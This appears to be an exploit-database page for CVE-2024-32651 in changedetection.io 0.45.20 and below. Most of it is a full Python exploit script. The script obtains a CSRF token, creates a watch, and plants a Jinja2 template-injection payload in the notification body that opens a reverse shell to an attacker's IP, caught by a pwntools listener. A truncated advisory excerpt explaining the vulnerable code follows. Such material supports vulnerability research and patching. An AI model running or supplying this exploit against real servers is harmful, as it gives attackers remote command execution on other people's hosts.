Headline
changedetection 0.45.20 Remote Code Execution
changedetection versions 0.45.20 and below suffer from a remote code execution vulnerability.
# Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)# Date: 5-26-2024# Exploit Author: Zach Crosman (zcrosman)# Vendor Homepage: changedetection.io# Software Link: https://github.com/dgtlmoon/changedetection.io# Version: <= 0.45.20# Tested on: Linux# CVE : CVE-2024-32651from pwn import *import requestsfrom bs4 import BeautifulSoupimport argparsedef start_listener(port): listener = listen(port) print(f"Listening on port {port}...") conn = listener.wait_for_connection() print("Connection received!") context.newline = b'\r\n' # Switch to interactive mode conn.interactive()def add_detection(url, listen_ip, listen_port, notification_url=''): session = requests.Session() # First request to get CSRF token request1_headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } response = session.get(url, headers=request1_headers) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrf_token'})['value'] print(f'Obtained CSRF token: {csrf_token}') # Second request to submit the form and get the redirect URL add_url = f"{url}/form/add/quickwatch" add_url_headers = { # Define add_url_headers here "Origin": url, "Content-Type": "application/x-www-form-urlencoded" } add_url_data = { "csrf_token": csrf_token, "url": "https://reddit.com/r/baseball", "tags": '', "edit_and_watch_submit_button": "Edit > Watch", "processor": "text_json_diff" } post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False) # Extract the URL from the Location header if 'Location' in post_response.headers: redirect_url = post_response.headers['Location'] print(f'Redirect URL: {redirect_url}') else: print('No redirect URL found') return # Third request to add the changedetection url with ssti in notification config save_detection_url = f"{url}{redirect_url}" save_detection_headers = { # Define save_detection_headers here "Referer": redirect_url, "Cookie": f"session={session.cookies.get('session')}" } save_detection_data = { "csrf_token": csrf_token, "url": "https://reddit.com/r/all", "title": '', "tags": '', "time_between_check-weeks": '', "time_between_check-days": '', "time_between_check-hours": '', "time_between_check-minutes": '', "time_between_check-seconds": '30', "filter_failure_notification_send": 'y', "fetch_backend": 'system', "webdriver_delay": '', "webdriver_js_execute_code": '', "method": 'GET', "headers": '', "body": '', "notification_urls": notification_url, "notification_title": '', "notification_body": f""" {{% for x in ().__class__.__base__.__subclasses__() %}} {{% if "warning" in x.__name__ %}} {{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}} {{% endif %}} {{% endfor %}} """, "notification_format": 'System default', "include_filters": '', "subtractive_selectors": '', "filter_text_added": 'y', "filter_text_replaced": 'y', "filter_text_removed": 'y', "trigger_text": '', "ignore_text": '', "text_should_not_be_present": '', "extract_text": '', "save_button": 'Save' } final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data) print('Final request made.')if __name__ == "__main__": parser = argparse.ArgumentParser(description='Add detection and start listener') parser.add_argument('--url', type=str, required=True, help='Base URL of the target site') parser.add_argument('--port', type=int, help='Port for the listener', default=4444) parser.add_argument('--ip', type=str, required=True, help='IP address for the listener') parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default') args = parser.parse_args() add_detection(args.url, args.ip, args.port, args.notification) start_listener(args.port)
Related news
### Summary A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. ### Details changedetection.io version: 0.45.20 ``` docker images REPOSITORY TAG IMAGE ID CREATED SIZE dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB ``` The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine. ```python from jinja2 import Environment, BaseLoader ... # Get the notification body from datastore jinja2_env = Environment(loader=BaseLoader) n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters) n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters) ``` ### PoC 1. Create/Edit a URL watch item 2. Under *Notifications* tab insert this payload: ```python {{ self.__init__.__globa...